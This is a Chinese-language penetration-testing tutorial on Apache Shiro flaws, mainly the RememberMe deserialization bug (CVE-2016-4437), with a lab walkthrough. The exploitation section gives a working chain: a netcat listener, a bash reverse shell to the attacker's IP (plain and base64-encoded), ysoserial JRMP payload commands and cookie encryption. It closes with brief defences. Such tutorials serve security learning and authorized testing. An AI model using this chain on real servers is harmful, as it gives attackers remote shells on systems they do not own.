文章目錄
安全攻防,攻生防。本文章僅使用於學習和企業授權測試,網絡安全法非空文兒戲,望君酌之!
一、Shrio反序列化導致命令執行(Shiro-550 CVE-2016-4437)
1.1 漏洞介紹
1.1.1 漏洞簡介
Apache Shiro是一款開源企業常見JAVA安全框架,提供身份驗證、授權、密碼學和會話管理。java中的權限框架有SpringSecurity和Shiro,由於Spring功能強大但複雜,Shiro的簡單強大,擴展性好因此用的還是很多。
1.1.2 影響版本
- Apache Shiro < 1.2.4
1.1.3 漏洞原理
Apache Shiro框架提供了記住我的功能(RememberMe),用戶登錄成功後會生成經過加密並編碼的cookie。cookie的key爲RememberMe,cookie的值是經過相關信息進行序列化,然後使用AES加密(對稱),最後再使用Base64編碼處理。服務端在接收cookie時:
- 檢索RememberMe Cookie的值
- Base 64解碼
- AES解密(加密密鑰硬編碼)
- 進行反序列化操作(未過濾處理)
攻擊者可以使用Shiro的默認密鑰構造惡意序列化對象進行編碼來僞造用戶的Cookie,服務端反序列化時觸發漏洞,從而執行命令。
1.1.4 漏洞特徵
》》進行登錄,返回包中查看是否有rememberMe=deleteMe字段
1.1.5 漏洞影響
只要rememberMe的AES加密密鑰泄漏,無論shiro什麼版本都會導致反序列化漏洞。
1.2 環境配置
- 受害者IP:192.168.226.140(vulhub、docker)
》》進入目標目錄下,啓動一個shiro1.2.4的web服務
》》訪問web頁面
1.3 漏洞利用
1.3.1 利用方法(一)
演示環境:
- 攻擊者IP:192.168.1.101
UI一鍵利用工具:
GitHub地址:https://github.com/feihong-cs/ShiroExploit
》》從地址下載一鍵利用工具,雙擊ShiroExploit.jar
》》輸入目標地址,選擇目標對象,點擊下一步
》》點擊下一步
》》反彈shell
1.3.2 利用方法(二)
演示環境:
- 攻擊者IP:192.168.159.128(kali)
利用限制:
- 一臺公網主機(裝有java環境、netcat)
- ysoserial.jar
- shiro-exp.jar
》》進行登錄,抓取登錄請求包
(可以注意到這裏返回包中只有一個Set-Cookie)
攻擊者(Kali)執行以下操作(真實攻擊場景需要在VPS上執行)
》》事先開啓三個終端
》》nc在81端口上監聽shell(終端 1)
》》開啓轉發,監聽19999端口(終端 2)
- bash -i >& /dev/tcp/192.168.159.128/81 0>&1 (執行的命令)
- bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1OS4xMjgvODEgMD4mMQ==}|{base64,-d}|{bash,-i} (對執行的命令進行Base64編碼)
- java -cp ysoserial.jar ysoserial.exploit.JRMPListener 19999 CommonsCollections6 " bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1OS4xMjgvODEgMD4mMQ==}|{base64,-d}|{bash,-i}" (ysoserial在19999端口監聽,未加粗的是編碼後的執行命令)
》》生成payload(終端 3)
java -jar ysoserial.jar JRMPClient "192.168.159.128:19999" > /tmp/jrmp.ser
》》對payload進行編碼
java -jar shiro-exp.jar encrypt /tmp/jrmp.ser
》》將構造的序列化編碼cookie通過登錄包發送到服務端(這裏必須登錄成功狀態下)
(成功收到shell)
1.4 防禦措施
- 升級Shiro到最新版本
- WAF攔截Cookie中長度過大的rememberMe值
二、Shiro Padding Oracle Attack(Shiro-721 CVE-2019-12422)
2.1 漏洞簡介
Shiro實用AES-CBC模式進行加解密,存在Padding Oracle Attack漏洞,已登錄的攻擊者同樣可進行反序列化操作。
2.2 影響版本
- Apache Shiro < 1.4.2
2.2 漏洞利用
同1.3.1
利用技巧:
如果攻擊沒有生效,嘗試刪除Cookie中的Jsessionid字段,防止服務端不去處理cookie
三、Shiro權限繞過漏洞(Shiro-682 CVE-2020-1957)
3.1 漏洞介紹
由於Shiro的攔截器和Spring(Servlet)攔截器對於URI模式匹配的差異,導致鑑權問題。
3.2 影響版本
- Apache Shiro < 1.5.2
3.3 漏洞利用
方法同1.3.1
四、官方CVE動態
- 官網:http://shiro.apache.org/